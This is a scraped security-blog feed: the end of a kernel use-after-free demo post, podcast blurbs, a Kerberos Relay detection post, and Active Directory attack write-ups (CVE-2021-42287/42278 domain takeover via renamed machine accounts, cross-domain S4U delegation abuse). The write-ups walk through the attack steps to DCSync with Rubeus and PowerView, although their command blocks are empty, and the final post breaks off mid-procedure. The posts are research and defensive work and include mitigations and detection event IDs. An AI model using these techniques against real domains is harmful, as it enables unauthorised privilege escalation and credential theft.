[*] Allocated @0xffffffc00503b900
[*] Allocated @0xffffffc00503b600
[*] Allocated @0xffffffc00503b100
[*] Allocated @0xffffffc00503bc00
[*] Allocated @0xffffffc00503b400
[*] Allocated @0xffffffc00503b000
[*] Allocated @0xffffffc00503b500
[*] Allocated @0xffffffc00503b800
[*] Allocated @0xffffffc00503ba00
[*] Allocated @0xffffffc00503bd00
0xffffffc00503b800: 0x4141414141414141 0xffffffc0001a8928
[*] Freeing @0xffffffc00503bc00
[*] Freeing @0xffffffc00503b400
[*] Freeing @0xffffffc00503b800
0xffffffc00503b800: 0x4343434343434343 0xffffffc0001a8928
With few lines of code has been demostrated how our 7th chunk has been replaced with a new one after it has been freed (the read_memory
targeted the chunks[7]
).
As simple as it is, it has been written for demonstration purposes.
Use-After-Free
To simulate a UAF scenario itβs simple as few lines of code:
void* chunk = kmalloc(<SIZE>, <FLAGS>);
kfree(chunk);
// Allocate your target chunk
// Simulate UAF using k[write|read]64()
For example, if we want to simulate an attack scenario where we want to replace our vulnerable freed chunk with a target object (for example an iovec
struct) we can allocate a chunk with kmalloc
and later kfree
it just before allocating the target structure:
// Allocate the vulnerable object
void* chunk = kmalloc(150, _GFP_KERN);
// Allocate target object
struct iovec iov[10] = {0};
char iov_buf[0x100];
iov[0].iov_base = iov_buf;
iov[0].iov_len = 0x1000;
iov[1].iov_base = iov_buf;
iov[1].iov_len = 0x1337;
int pp[2];
pipe(pp);
if(!fork()){
kfree(chunk); // Freeing the chunk just before allocating the iovec
readv(pp[0], iov, 10); // allocate iovec and blocks (keeping the object in the kernel)
exit(0);
}
sleep(1); // Give time to the child process
read_memory(chunk, 0x40);
Then, with read_memory
we can show the block of memory in our interest and as you can see from the following output, our arbitrary allocated/freed object has been replaced with the target object:
Allocated chunk @0xffffffc0052c5a00
0xffffffc0052c5a00: 0x0000007fd311ff58 0x0000000000001000
0xffffffc0052c5a10: 0x0000007fd311ff58 0x0000000000001337
0xffffffc0052c5a20: 0x0000000000000000 0x0000000000000000
0xffffffc0052c5a30: 0x0000000000000000 0x0000000000000000
Instead of just print the content, you can simulate a UAF read/write using k[read|write]
and play with it.
The full code of this example can be found in client/example/02.c
Setup
To compile the module change the K
variable in the Makefile
with your compiled kernel root directory and compile with make
, then insmod
.
Conclusions
Personally, I used it to study the SLUB allocator, understand UAF/Heap Overflows/Double Free/userfaultd and some hardening features in the kernel, but it can assist the exploitation phase too or more. Blog posts on some Kernel vulnerabilities and their attack methodologies will follow these months and this module will come useful to demonstrate them. So, stay tuned and enjoy !
PS. The βExecuteβ part of the name will be a future implementation to control pc/rip
.
Intigriti XSS Challenge β December 2021
-
Infosec Resources
- Cybersecurity jobs: How to better apply, get hired and fill open roles | Cyber Work Podcast
Cybersecurity jobs: How to better apply, get hired and fill open roles | Cyber Work Podcast
Diana Kelley returns to the show to discuss her work as a board member of the Cyber Future Foundation and the goings-on at this yearβs Cyber Talent Week. Whether youβre a cybersecurity hiring manager who doesnβt know why youβre not getting the applicants you want, a candidate who hears the profession has 0% unemployment but still canβt seem to get a callback or anyone in between, DO. NOT. MISS. THIS. EPISODE. This is one for the books, folks.
β Start learning cybersecurity for free: https://www.infosecinstitute.com/free
β View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Cybersecurity hiring and job searching
4:30 - Diana Kelley of Cyber Future Foundation
9:00 - Cyber Future Foundation talent week
13:58 - Reexamining cybersecurity job descriptionsΒ
21:52 - Cybersecurity hiring manager and applicant training
27:10 - Strategies to bring in diverse talent from other industries
33:06 - Narrowing your cybersecurity job pursuit
39:37 - Using different educations in cybersecurity roles
41:32 - Implementing an educational pipeline
44:40 - Hiring based on strong skills from other trades
48:22 - Cybersecurity apprenticeshipsΒ
53:22 - Fostering cybersecurity community valueΒ
59:09 - Diana Kelley's future projects
1:00:30 - Outro
Avoiding B.A.D. behaviour
Ethical user data collection and machine learning | Cyber Work Podcast
Today on Cyber Work ChΓ© Wijesinghe of Cape Privacy talks about the safe and ethical collection of user data when creating machine learning or predictive models. When your bank is weighing whether to give you a loan, they can make a better choice the more info they know about you. But how secure is that contextual data? Hint: not as secure as Wijesinghe would like!
β Start learning cybersecurity for free: https://www.infosecinstitute.com/free
β View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Machine learning and data collection
2:37 - Getting started in cybersecurity
3:15 - Being drawn to big data
4:35 - What data is driving decision-making?
9:04 - How is data collection regulated?
15:02 - Closing the encryption gap
16:50 - Careers in data privacy
19:07 - Where can you move from data privacy?
21:20 - Ethics of data collectionΒ
23:25 - Learn more about WijesingheΒ
23:55 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. Itβs our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
EDR Bypass : How and Why to Unhook the Import Address Table
Working as a privacy manager | Cybersecurity Career Series
A Privacy Manager is responsible for the development, creation, maintenance and enforcement of the privacy policies and procedures of an organization. They ensure compliance with all privacy-related laws and regulations. The Privacy Manager takes an active lead role when a privacy incident or data breach occurs and will start the investigation. They will then monitor, track and resolve any privacy issues. The Privacy Manager builds a strategic and comprehensive privacy program for their organization that minimizes risk and ensures the confidentiality of protected information.
Advanced knowledge of privacy law and data protection is critical to success in this role.
Learn more: https://www.infosecinstitute.com/role-privacy-manager/
0:00 - Working as a privacy manager
0:40 - What does a privacy manager do?Β
3:02 - Experience a privacy manager needs
5:15 - Is college necessary for a privacy manager?
8:05 - Skills needed to be a privacy manager
10:30 - What tools does a privacy manager use?
11:15 - Where do privacy managers work?Β
12:15 - Roles privacy managers can move to
13:30 - How do I get started becoming a privacy manager?
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. Itβs our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
What does a cybersecurity beginner do? | Cybersecurity Career Series
Just getting started?Β This role is for you!
The Cybersecurity Beginner role focuses on the foundational skills and knowledge that will allow anyone to take the first step towards transitioning into a cybersecurity career.Β No prior knowledge of cybersecurity or work experience is required. The only prerequisite is a passion for technology and cybersecurity.
Learn more here: https://www.infosecinstitute.com/role-cybersecurity-beginner/
0:00 - Working as a cybersecurity beginner
0:41 - Tasks a cybersecurity beginner may take on
4:15 - Cybersecurity work imposter syndrome
5:49 - Common tools cybersecurity beginners use
9:08 - Jobs for cybersecurity beginners
13:50 - Get started in cybersecurityΒ
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. Itβs our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
dnscat(how)2
Defending the Three Headed Relay
A joint blog written by Andrew Schwartz, Charlie Clark, and Jonny Johnson
Introduction
For the past couple of weeks it has become apparent that Kerberos Relaying has set off to be one of the hottest topics of discussion for the InfoSec community. Although this attack isnβt new and was discovered months ago by James Forshaw, it has recently taken off because a new tool called KrbRelayUp has come to surface that takes Jamesβ work and automates that process for anyone wanting to exploit this activity. This tool however doesnβt only exploit Jamesβ work, but also work from Elad Shamir around S4U2Self/S4U2Proxy, while using code from Rubeus by Will Schroeder. We as a group (Andrew, Charlie, and Jonny) found this interesting as we saw many detections coming out for βKerberos Relayβ that might not actually detect βKerberos Relayβ if the action was performed by itself, but more of post-exploitation actions β say in the S4U activity.
During this blog post we will take a look into Kerberos Relay, break out the different attack paths one could take, and talk about the different defensive opportunities tied to this activity and other activities leading up to Kerberos Relay or after.
Kerberos Relay Explained
Kerberos relaying was described in detail in James Forshaws blog post βUsing Kerberos for Authentication Relay Attacksβ. The primary focus of Kerberos relaying is to intercept an AP-REQ and relay it to the service specified within the service principal name (SPN) used to request the service ticket (ST). The biggest discovery within Jamesβ research is that using certain protocols a victim client can be coerced to authenticate to an attacker using Kerberos while allowing an SPN to be specified that differs from the service that the client is connecting to. This means that the client will request a ST for an SPN of the attackerβs choosing, create an AP-REQ containing that ST and send it to the attacker. The attacker can then forward this AP-REQ to the target service, disregard the resulting AP-REP (unless the attacker needs to relay this back to the client for some reason) and at this point establish an authenticated session as the victim client.
While there are other potential ways Kerberos relaying can happen, (ie. like man-in-the-middle (MITM) attacks), the primary focus of this post will be on coercing a client to authenticate to the attacker as the method of receiving the AP-REQ. The process is essentially as follows:
Attacker coerces victim client auth with target service SPN -> client requests ST to SPN specified -> client sends AP-REQ to attacker -> attacker extracts AP-REQ sends to target service -> attacker establishes session as victim client
There are some caveatβs to this process. The first being protections enabled on the target service. As with NTLM relaying, if the target service has signing/sealing or channel binding enforced, relaying Kerberos authentication will not work. The second caveat is the protections supported by the client. With some target protocols, if the client indicates support for certain protections, the server will enable those protections, again making Kerberos relaying not possible without some other bug in the implementation.
Potential Attack Paths with Kerberos Relay
There are several potential attack paths that Kerberos relaying allows for. Many of these were documented by James in his initial blog post. As alluded to previously, there are 2 main considerations when discussing Kerberos relaying attack paths:
- The protocol used to trigger the authentication from the victim client
- The protocol used by the service the authentication is being relayed to
Trigger Protocol
As discussed, the main requirement for the trigger protocol is the ability for the attacker to specify an arbitrary SPN, or at least a partially attacker controlled SPN, when triggering the authentication. Protocols known to potentially have this requirement are:
- IPSec and AuthIP
- MSRPC
- DCOM
- HTTP
- LLMNR
- MDNS
Service Protocol
Depending on the protections enabled on the server, the following protocols are known to be target service protocols for Kerberos relaying:
- LDAP/LDAPS
- HTTP
- SMB
Potentially many combinations of these protocols could be used as attack paths for Kerberos relaying. This presents many attack paths, for instance, relaying to an LDAP server could allow for modification of LDAP objects or relaying to an AD CS HTTP web enrolment endpoint could allow for requesting an authentication certificate.
Detecting Kerberos Relay
Before diving straight into detections, queries, and indicators of activity for these behaviors we think it is important to touch on what we are looking at for detection and why. It is fairly easy to take a tool that performs some behavior then immediately go look at the logs to see what telemetry exists. This isnβt a terrible approach, it just isnβt the only one and not the one we take.
We (Charlie, Andrew, and Jonny) like to approach this detection piece a little differently by breaking up a toolβs capability, understanding what it is trying to accomplish, understanding the technologies tied to an attack and their capabilities, and identifying what actions (if any) apply to other techniques. We then like to find the core behavior the attack is built on and identify what pieces of that action is or can be controlled by an attacker. This process helps us identify which behaviors are explicitly tied to the attack and which might relate to an action that was performed prior to the attack or after. One thing we donβt want to do is create detection explicitly tied to the tool, but to the attack. We are using the tool as a starting point of understanding the attack and the various variants an attacker may take to accomplish these actions.
That being said, every attack will have a pre, intra, and post action. These actions are extracted during the research process and help us scope what capabilities we are trying to detect. Let us explain.
In order for an attack to be run, an attacker must do something that gives them the ability to perform that action. This could be a number of things, letβs use the following as an example of pre-action activity:
- Gain access to a domain user
- Compromise/obtain a foothold on a box
- Run a LDAP query for reconnaissance
- Escalate to a local administrator/High IL
You then have the actual attack (intra-action):
- Kerberoast
- Dump LSASS
- Access Token Impersonation
Finally, the attacker is going to do something with whatever output the attack gives them β being the post-action:
- Logs on as user
- Impersonates user
Here is a visual representation of this:
This allows us to apply a detection layering approach when creating detections for these behaviors because there is going to be something within the pre-action that we can relate to the intra-action, and similarly the intra-action to the post-action. Due to this we can change the diagram up a little bit:
As you can probably tell by now, every post-action leads into a pre-action. It restarts the attack flow. We see this below with Kerberos Relay. One potential post-action is to perform S4U2Self/S4U2Proxy. Kerberos Relay has now become a pre-action to this activity and a post-action could be that an attacker is using that ability to login, talk to the SCM to create a service and run a process as SYSTEM.
If we just run the attack and look directly at the logs it is easy to start making assumptions. So before we run the attack we can break out what we are looking for, then go look for it. This allows us to truly understand what layer we are applying a detection, which inherently will help us understand what level of coverage we have.
We can now apply this to Kerberos Relay in the next section.
Detection Queries
Some of the attacks within the pre/intra/post actions were applied due to how KrbRelayUp was exploiting this activity. The attacker doesnβt always have to take these exact paths and some of the specifics may change, for example β below we show a detection for the COM server initialization/TCP connection. An attacker could use a different protocol like HTTP/LDAP. Although we didnβt create queries for each one of these scenarios we wanted to share the different pre/intra/post-action detections someone could create.
Pre-Kerberos Relay Detections:
- Initial domain user foothold (No detection added as there are so many options)
- LDAP queries to identify potential SPNs available
- Computer account added via LDAP (Using Microsoft Defender for Endpoint DeviceEvents)
1 2 3 4 5 |
|
Note: This query was created via MDE and will look for when a computer account is created via LDAP, for this attack this is totally optional. To perform this specific attack path, the attacker only requires the credentials of any computer object or a user object with an SPN. There are many other ways to potentially obtain one.
- Computer Account added via Splunk and Window Security Event ID 4741:
1 |
|
Going a step further would be to correlate the 4741 with Windows Security Event ID 4673. As Andrew wrote in his post the event details in 4673 contain the four (4) SPNβs that are also created when a computer account is created with certain attack tools (in their present state as of writing this post). Kevin Robertson first blogged about the 4 SPNβs being generated in his post, βMachineAccountQuota is USEFUL Sometimes: Exploiting One of Active Directoryβs Oddest Settings.β Many publicly available Open Source Tools (OSTs) incorporate the same 4 SPNs into their tooling.
1 2 3 4 5 6 7 8 9 10 11 |
|
Intra-Kerberos Relay Detections:
- DCOM Server connection with TCP connection to localhost (Using Splunk and Window Security Event ID 5156):
1 |
|
Post-Kerberos Relay Detections:
- RBCD Exploitation (Using Splunk and Window Security Event ID 5136/4768/4769)
1 2 3 4 5 6 7 8 |
|
It should be noted that this detection query has limitations given its use of bucket _time span. We employed the use of this time feature as there was not an easy way (i.e. by Logon ID) to correlate the three events. The only common variable we discovered between these three different events observed was time, specifically all within a 15 second window. While this query worked in our lab with our specific dataset, we would like to point out that by grouping the events by time in a bucket, events can possibly occur outside the span of the bucket as we donβt know WHEN the event will take place. As such the event could occur in the middle of the bucket or it could be on the βedge.β A thank you to Greg Rivas for helping create the above SPL query.
During the writing of this post the author of KrbRelayUp added support for Shadow Credentials, which performs slightly different post-actions than we have specified above. However; it is good to note that Shadow Credentials is still a post-action potential attack that can be leveraged.
Mitigations
- Limit MAQ attribute and/or restrict the SeMachineAccountPrivilege to a specific group rather than Authenticated Users
- Extended Protection for Authentication (EPA)/Protocol Signing/Sealing and Channel Binding
- Disabling mDNS/LLMNR
- Require authenticated IPsec/IKEv2
- Disabling Disable NTLM
A thank you to James Forshaw for vocalizing some of these mitigations when introducing this attack.
Conclusion
During this write-up we wanted to give a brief explanation of Kerberos Relay, how this can be exploited, and the various levels of detection/prevention that could be applied. Although we didnβt go over every pre/post-exploitation scenario an attacker could take, we wanted to highlight the importance of thinking about attacks from a pre/intra/post-action perspective. This helps us identify the scope of our detections, which will then allow us to identify at what depth we are applying the detection.
We hope this was helpful and a huge thank you to James Forshaw again for his previous work on this.
References
- https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
- https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
- https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/
- https://github.com/Dec0ne/KrbRelayUp
- https://github.com/cube0x0/KrbRelay
More sAMAccountName Impersonation
So in my excitement to put out the previous post I forgot something and since then I've thought of another attack path that may come in useful for some people.
For these examples I'm using the internal.user account in the internal.zeroday.lab domain, as shown below:
This is just a generic low privileged user.
Trusts
I did reply to my tweet afterwards, but I thought it'd be best to explain a little more that this works across trusts.
As mentioned in a previous post I did, creating machine accounts across trusts is not only possible but can be incredibly useful. This is another example of that.
A forest trust is configured between the internal.zeroday.lab and external.zeroday.lab forests:
A new machine account (named NewComputer) is created across this trust on the external.zeroday.lab domain:
The SPNs can be cleared from this newly created account:
It's best to get the distinguishedname of the machine account for changing the name:
Lastly, the name can be changed to the same as the domain controller minus the '$':
At this point the attack is exactly the same as the initial example I gave in the original post, ie. request a TGT for EDC1, rename machine account back, perform S4U2self.
User Account
Another example of exploitation involved user account control. 2 more prerequisites are required to perform the attack using a user account, The GenericAll privilege over the user account and access to the account credential. Any user account can be used to perform the attack.
There are several potential ways of obtaining the user account password when you have GenericAll over it, including tageted Kerberoasting from Will Schroeder, Shadow Credentials by Elad Shamir, just resetting the user password and probably more I'm forgetting right now. Point is, I'm not going to go into all of the potential ways you might do this, I'm just going to assume the password has been obtained.
So the user I'm running as (internal.user) has GenericAll over the target user (new.user):
Changing the samaccountname to that of the DC minus the '$' is also possible using PowerView:
The attack from this point is exactly the same as in the original post, I'm not going to duplicate all of that here, you can try it for yourself if you want. Interestingly on patched servers you can rename a user account this way with GenericAll over it, but the S4U2self part fails with KDC_ERR_TGT_REVOKED
error due to the new Requestor PAC_INFO_BUFFER being included within the TGT's PAC.
EDIT: Charlie BROMBERG suggested GenericAll isn't actually required and this works with GenericWrite or even WriteProperty on sAMAccountName for changing the samaccountname, but it is important to remember that the ability to request a TGT for this account is required too, so the higher the privileges, the more likely you are to be able to do this.
Conclusion
It is very important that all domain controllers throughout the whole enterprise is patched against these issues due to the impact of exploitation and the ease with which it can be performed.
While more limited, it may still be possible in situations where a machine account cannot be created/controlled or renaming of machine account fails.
CVE-2021-42287/CVE-2021-42278 Weaponisation
So on 9th November 2021, Cliff Fisher tweeted about a bunch of CVE's to do with Active Directory that caught a lot of people's eyes. These included CVE-2021-42278, CVE-2021-42291, CVE-2021-42287 and CVE-2021-42282. The one that caught my eye the most was CVE-2021-42287 as it related to PAC confusion and impersonation of domain controllers, also having just worked on PAC forging with Rubeus 2.0.
This post discusses my quest to figure out how to exploit this issue and some things I discovered along the way.
I just want to highlight that there's no new research here, this issue was discovered by Andrew Bartlett of Catalyst IT. I just found one way to weaponise it, there may well be others in the issues he found.
A Little Digging
So immediately upon seeing Cliff's tweet, Ceri Coburn and I started tryng to figure out how this could be exploited. We (perhaps incorrectly) latched onto the text on Microsofts description of CVE-2021-42287 which seemed to be based around the idea of TGT's being issued without PACs. This led me to modify Rubeus to allow for requesting TGT's without a PAC.
After Ceri debugging the Windows KDC and us digging through the leaked XP source we were convinced that to trigger the codepath we needed to go down (to insert a PAC into a ST when it was requested with a TGT lacking a PAC) required a cross domain S4U2self but was unable to get it to work. The only way we could get a DC to add a PAC when an service ticket (ST) was requested using a TGT without a PAC was by configuring altSecurityIdentities.
This process involves modifying the altSecurityIdentities attribute of an account in a foreign domain to Kerberos:[samaccountname]@[domain] to impersonate that user.
So below you can see a low privileged user (internal.user) of the local doamin (internal.zeroday.lab) has GenericAll over a high privileged user (external.admin) of a different domain (external.zeroday.lab):
As this user we can add ourselves to the altSecurityIdentities attribute as shown below:
Now we can get a TGT from our local DC and request it without a PAC using the new /nopac
switch:
This results in an obviously small TGT. We then use that TGT to request a referral to the target domain (external.zeroday.lab) from our local DC:
That referral can then be used to request ST's for services on our target domain (external.zeroday.lab). Here I'm requesting a ST for LDAP/EDC1.external.zeroday.lab the DC's LDAP service:
The size of the ST is very large compared to the previous 2 tickets, this is because (as we'll see) a PAC has been added. As shown in the klist output below, this ST is for the original user internal.user which has no special privileges on either domain:
Using this ST, however, we can DCSync:
So what happened here is the DC has searched for the account in the local database, it hasn't found it so it's then searched to see if any accounts have this account listed in their AltSecurityIdentities attribute, which external.admin does because we added it earlier, and if so, the DC adds a PAC belonging to that account. This can be verified using Rubeus' describe
command and the AES256 key we just DCsync'd:
We now effectly have the privileges of the external.admin user on the external.zeroday.lab domain.
This didn't help us exploiting the issue we wanted but I did find it interesting.
Some Progress
Then along came this tweet from ClΓ©ment Notin which actually mentioned the Samba information regarding these issues and led me to CVE-2020-25719 and this patch. What particularly caught my attention was this paragraph:
Delegated administrators with the right to create other user or machine accounts can abuse the race between the time of ticket issue and the time of presentation (back to the AD DC) to impersonate a different account, including a highly privileged account.
Suddenly I realised that to make the local lookup fail, we didn't need to attack a foreign domain but perhaps remove the account after retrieving the TGT.
I started playing with naming a machine account the same as the local DC (minus the $), requesting a TGT (still without a PAC), removing the machine account and using that TGT. I noticed something funny.
When using this PAC-less TGT with a U2U request but without supplying an additional ticket, it was failing to decrypt the resulting ST:
The U2U ST should be encrypted with the session of within the provided TGT but as I didn't provide an additional ticket I assumed it was triyng to lookup the account based on the sname which I was setting to IDC1 the samaccountname of my now missing machine account. I had the idea to try decrypting this ST using the long term key of the domain controller that I was naming my machine account after (IDC1$):
It worked! It sucessfuly decrypted the ST, it just couldn't find the PAC because there wasn't one there. I tried the same thing using S4U2self and got the same result, the DC was looking for my IDC1 account, not finding it and then search for the same but adding a $ on the end, finding the domain controller account and encrypting the ticket using it's key instead.
At that time I still couldn't figure out why it wasn't adding the PAC, so I decided to try requesting the initial TGT with a PAC instead of without a PAC and surprisingly it worked! So apparently there was no need to request a TGT without a PAC, supplying a TGT with a PAC for an account that has the samaccountname of the DC minus the $ to a request for an S4U2self ticket, when the intial account no longer exists, results in the ST being encrypted using the key of the DC.
The sname of that resulting ST can be modified as per Alberto Solino's post here. So it can be used to authenticate against any service on the target box, even users protected from delegation, as Elad Shamir mentions in the Solving a Sensitive Problem section of Wagging the Dog.
The last thing to work out was how can we get a machine account in this state from a low privileged user, as until now I was manually modifying the machine account as an admin. Thankfully Kevin Robertson's amazing post on the Macine Account Quota helped massively. It explains that the creator of the machine account has control over various attributes including the samAccountName and ServicePrincipalName. Another problem I was running into was trying to change the samaccountname, as trying to change it to be the same as the DC minus the $, I was getting the following error:
As Kevin mentions in his post:
If you modify the samAccountName, DnsHostname, or msDS-AdditionalDnsHostName attributes, the SPN list will automatically update with the new values.
So the SPN it was trying to set was already an SPN belonging to the target DC. Ceri suggested removing the SPNs before changing the samaccountname, which worked.
Lastly, until now I was removing the machine account after requesting the TGT (which requires admin privileges), I had to test whether disabling it or renaming it worked too. Disabling it resulted in a S_PRINCIPAL_UNKNOWN error being returned by the DC when requesting the S4U2self but renaming it worked.
Finally all of the pieces were in place.
Checking If Exploitable
To exploit this requires 3 things, at least 1 DC not patched with either KB5008380 or KB5008602, any valid domain user account and a Machine Account Quota (MAQ) above 0.
To determine if a DC is patched is very easy. Using my additional /nopac
switch to Rubeus' asktgt
, request a TGT without a PAC, if the DC is vulnerable it'll look like the following:
Look at the size of the returned TGT. If the DC is not vulnerable the TGT will look as follows:
The size difference is immediately obvious. The next thing to check would be the MAQ:
By default it is 10 as above but can be changed, anything above 0 will do. Lastly we need to check the SeMachineAccountPrivilege which is granted to Authenticated Users by default:
If everything checks out, we can exploit this issue.
The Full Attack
The first step is to create a machine account we can use for the attack (The account I create is called TestSPN$). Kevin's Powermad works nicely for this:
After this, PowerView's Set-DomainObject
can be used to clear the SPNs from the machine account:
Changing the machine account's samaccountname can be done using Powermad's Set-MachineAccountAttribute
(Here I'm changing it to IDC1, because the DC's samaccountname is IDC1$):
Rubeus' asktgt
can be leveraged to request a TGT for that newly created machine account (This is just a normal TGT for the machine we just created but using it's new samaccontname):
Set-MachineAccountAttribute
can again be used to change the machine accounts samaccountname (either back to what it was or something else entirely, it doesn't matter):
With the machine account renamed, it is now possible to request an S4U2self ticket using the retrieved TGT and get an ST encrypted with the DC's key, at the same time we can rewrite the sname within the ticket to be the LDAP service:
Here, I've impersonated the Administrator user for the LDAP service on the DC. It's worth noting that this could be any user on any service on any system on the domain.
The ticket has been sucessfully injected into LSA as shown below:
Using that ticket it is now possible to DCSync:
The commands I run to do this are shown below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
|
Mitigation / Detection
The best way to mitigate against this is to install the Microsoft patch (KB5008602), this patch fixes the issue with PAC confusion as well as fixes this issue with S4U2self created by the earlier KB5008380 patch.
Setting the Machine Account Quota to 0 is a quick and easy fix for stopping low privileged user from being able to create machine accounts, another related fix is to remove Authenticated Users from the SeMachineAccountPrivilege and adding Domain Admins or another group of allowed accounts.
There are several Events caused by various steps which would be useful for determining attempts to perform this attack. The credit for determining these Events should go entirely to Andrew Schwartz, I simply sent my logs to him after I performed the attack.
Machine Account Creation
Firstly, there is a 5156 event of an inbound connection to LDAP to create the machine account, For this event ID Andrew leveraged the research of βA Voyage to Uncovering Telemetry: Identifying RPC Telemetry for Detection Engineersβ By: Jonathan Johnson:
Immediately followed by a 4673 event, which is the usage of the SeMachineAccountPrivilege:
As well as a 4741 event, describing the creation of the machine account:
And a 4724 event, regarding the password reset of the newly create machine account:
Clearing The SPNs
Next a 4742 event can be seen when the SPNs are removed from the machine account, this will show
Changing the SamAccountName
A 4742 event will also show when the SAM Account Name is changed, and the new name will be shown in the SAM Account Name field:
More interestingly, a 4781 event will show both the old account name and the new account name:
Get TGT
When retrieving the TGT, a 4768 event will show, interestingly the Account Name field will show the new name of the account, while the User ID field will show the old name:
Then the account name change happens again with the 2 events mentioned above.
S4U2self
Lastly, as Elad mentions in his Wagging the Dog post, event 4769 fires, this time, however, some discrepancy is shown between Account Name and Service Name, while the Service Name field has the proper machine account name, the Account Name is missing the trailing dollar ($):
Conclusion
With the November 9th updates, many changes were made to AD and I wouldn't be surprised if many other avenues existed using those issues but the one I use directly from a low privileged user to full domain takeover with a default configuration.
Ensuring all DC's are fully patched should be the main priority here as it will only take 1 unpatched DC for domain takeover to be possible.
On top of patching, proper AD hardening with decent monitoring will always minimise the impact of any compromise significantly.
Another Delegation Edge Case
While coding the cross domain S4U into Rubeus I only really considered the situation where the user that was to be impersonated was in the target/foreign domain, but not if the user was in the source/local domain. After looking at how the process of requesting delegation worked when impersonating a user on the local domain, I decided to write this post detailing how it works and when it might be useful.
The information in this post is reasonably complex and I won't be going over previous work on how S4U works, the best places to see this is probably the Microsoft Documentation and Elad Shamir's post. It might also be helpful to check out my original post on cross domain S4U if you haven't already.
So let's get to it.
The Standard Process
I've created a diagram for showing how these tickets are requested when the OS performs this type of delegation:
This can understandably look a little intimidating, so let's break it down:
-
The service account gets its standard TGT from the local DC, this is nothing interesting and included for the sake of completion. (1 and 2)
-
The account connects to the service accounts SPN using a standard service ticket, which is forwardable. (3)
-
The service account uses its TGT to request a referral TGT from the local DC for the foreign domain where the end service resides (krbtgt/Domain2). (4 and 5)
-
The service account uses its TGT, with the standard service ticket (provided by the connecting account) as an additional ticket, to request a service ticket for the end service SPN from the local DC. This results in what I'm calling a delegated referral TGT for the foreign domain being issued by the local DC. (6 and 7)
-
The service account uses its referral TGT to request a service ticket for itself for the end service from the foreign DC. (8 and 9)
-
The service account finally requests the delegated service ticket for the end service as the connecting user account from the foreign DC using the service accounts referral TGT and the delegated referral TGT (obtained in step 4 in this list or 6 and 7 in the image) as an additional ticket. (10 and 11)
From this we can determine that the main thing that is required to impersonate a local account on a service on a foreign domain is a forwardable service ticket from that account.
With this in mind, I decided to try to find a scenario this might be useful in.
The Situation
The following diagram shows the relevant part of the lab setup for this demonstration:
The position we are currently in is we have compromised the low privileged user child.user in the child domain child1.internal.zeroday.lab.
For the sake of simplicity, this user has an SPN set:
There are many ways to obtain an account with an SPN, including creating a machine account, compromising an account with an SPN, adding an SPN to an account you have Write privileges on. The other important thing here is that the user child.user has GenericWrite privileges on the machine account ISQL1 on the parent domain (internal.zeroday.lab):
The last thing to note here is the machine account quota for the parent domain (internal.zeroday.lab) is set to 0:
So there's no creating machine accounts to hop across the trust, as I demonstrated in a previous blog post.
Gaining Access to ISQL1
Due to having GenericWrite privileges on ISQL1 it is possible to configure resource-based constrained delegation (RBCD) to allow ourselves the ability to delegate to it:
At this point child1.internal.zeroday.lab\child.user can delegate to internal.zeroday.lab\ISQL1$.
The first thing we might try is to delegate to an administrative user on the foreign domain (internal.zeroday.lab), internal.admin is a member of the Domain Admins group so might be a good option. Using the Rubeus additions I did here I can try the following command to impersonate internal.admin:
1 |
|
This results in a KDC_ERR_BADOPTION
error, as shown below:
We can see the reason for this by looking at the S4U2Self ticket returned by the local DC (IC1DC1.child1.internal.zeroday.lab) with Rubeus' describe
command:
This ticket does not have the forwardable flag set, meaning it can't be used to perform the S4U2Proxy extension. Looking at the user internal.admin we can see that it is protected from delegation:
So the question becomes, what can we do if all users in the foreign domain with the desired privileges on the target system are protected from delegation? Well, there are several potential attack paths but the one we're going to focus on here is impersonating a user in the local domain that has administrative privileges on the target system. Again for simplicity sake, I've just added a user (child1.internal.zeroday.lab\sql.admin) to the local Administrators group on ISQL1:
With what we know about the process of obtaining a service ticket for child1.internal.zeroday.lab\sql.admin to internal.zeroday.lab\ISQL1, all we require is a forwardable service ticket to our account (child1.internal.zeroday.lab\child.user). Using a trick Elad mentions in the A Forwardable Result section of his Wagging the Dog post, all service tickets produced by S4U2Proxy is always forwardable.
This means that providing the user sql.admin can be delegated (shown below), we can obtain a forwardable service ticket using RBCD.
So configuring RBCD on ourselves (child.user) so we can delegate to ourselves:
The following Rubeus command was used to retrieve a forwardable service ticket as the user sql.admin for the SPN blah/foobar (just a junk one for demonstration purposes) which belongs to the account child.user:
1 |
|
Using Rubeus' describe
command shows that this ticket is forwardable:
Now everything is in place to gain access to the remote system ISQL1. The following requests is the process in full described earlier to obtain the desired delegated service ticket for CIFS/ISQL1.internal.zeroday.lab as the user child1.internal.zeroday.lab, with any requests not required omitted. Each request, except gaining the TGT initially, are made manually using the asktgs
Rubeus command.
Firstly the TGT for the service account (child.user) is required:
We already have the forwardable service ticket to child.user, so we don't need to worry about that. Next we have to obtain a referral TGT as the service account (child.user) for the foreign domain (internal.zeroday.lab), for this we only require the TGT just obtained. We can use the following command for that:
1 |
|
The last thing we require from the local DC is the delegated referral TGT, to get this I made another PR to Rubeus which allows for including additional tickets when using asktgs
by providing the /tgs:X
argument. Using the following command and including the primary TGT for the service account (child.user) as the /ticket:X
argument and the forwardable service ticket as the /tgs:X
argument, it is possible to request this delegated referral TGT:
1 |
|
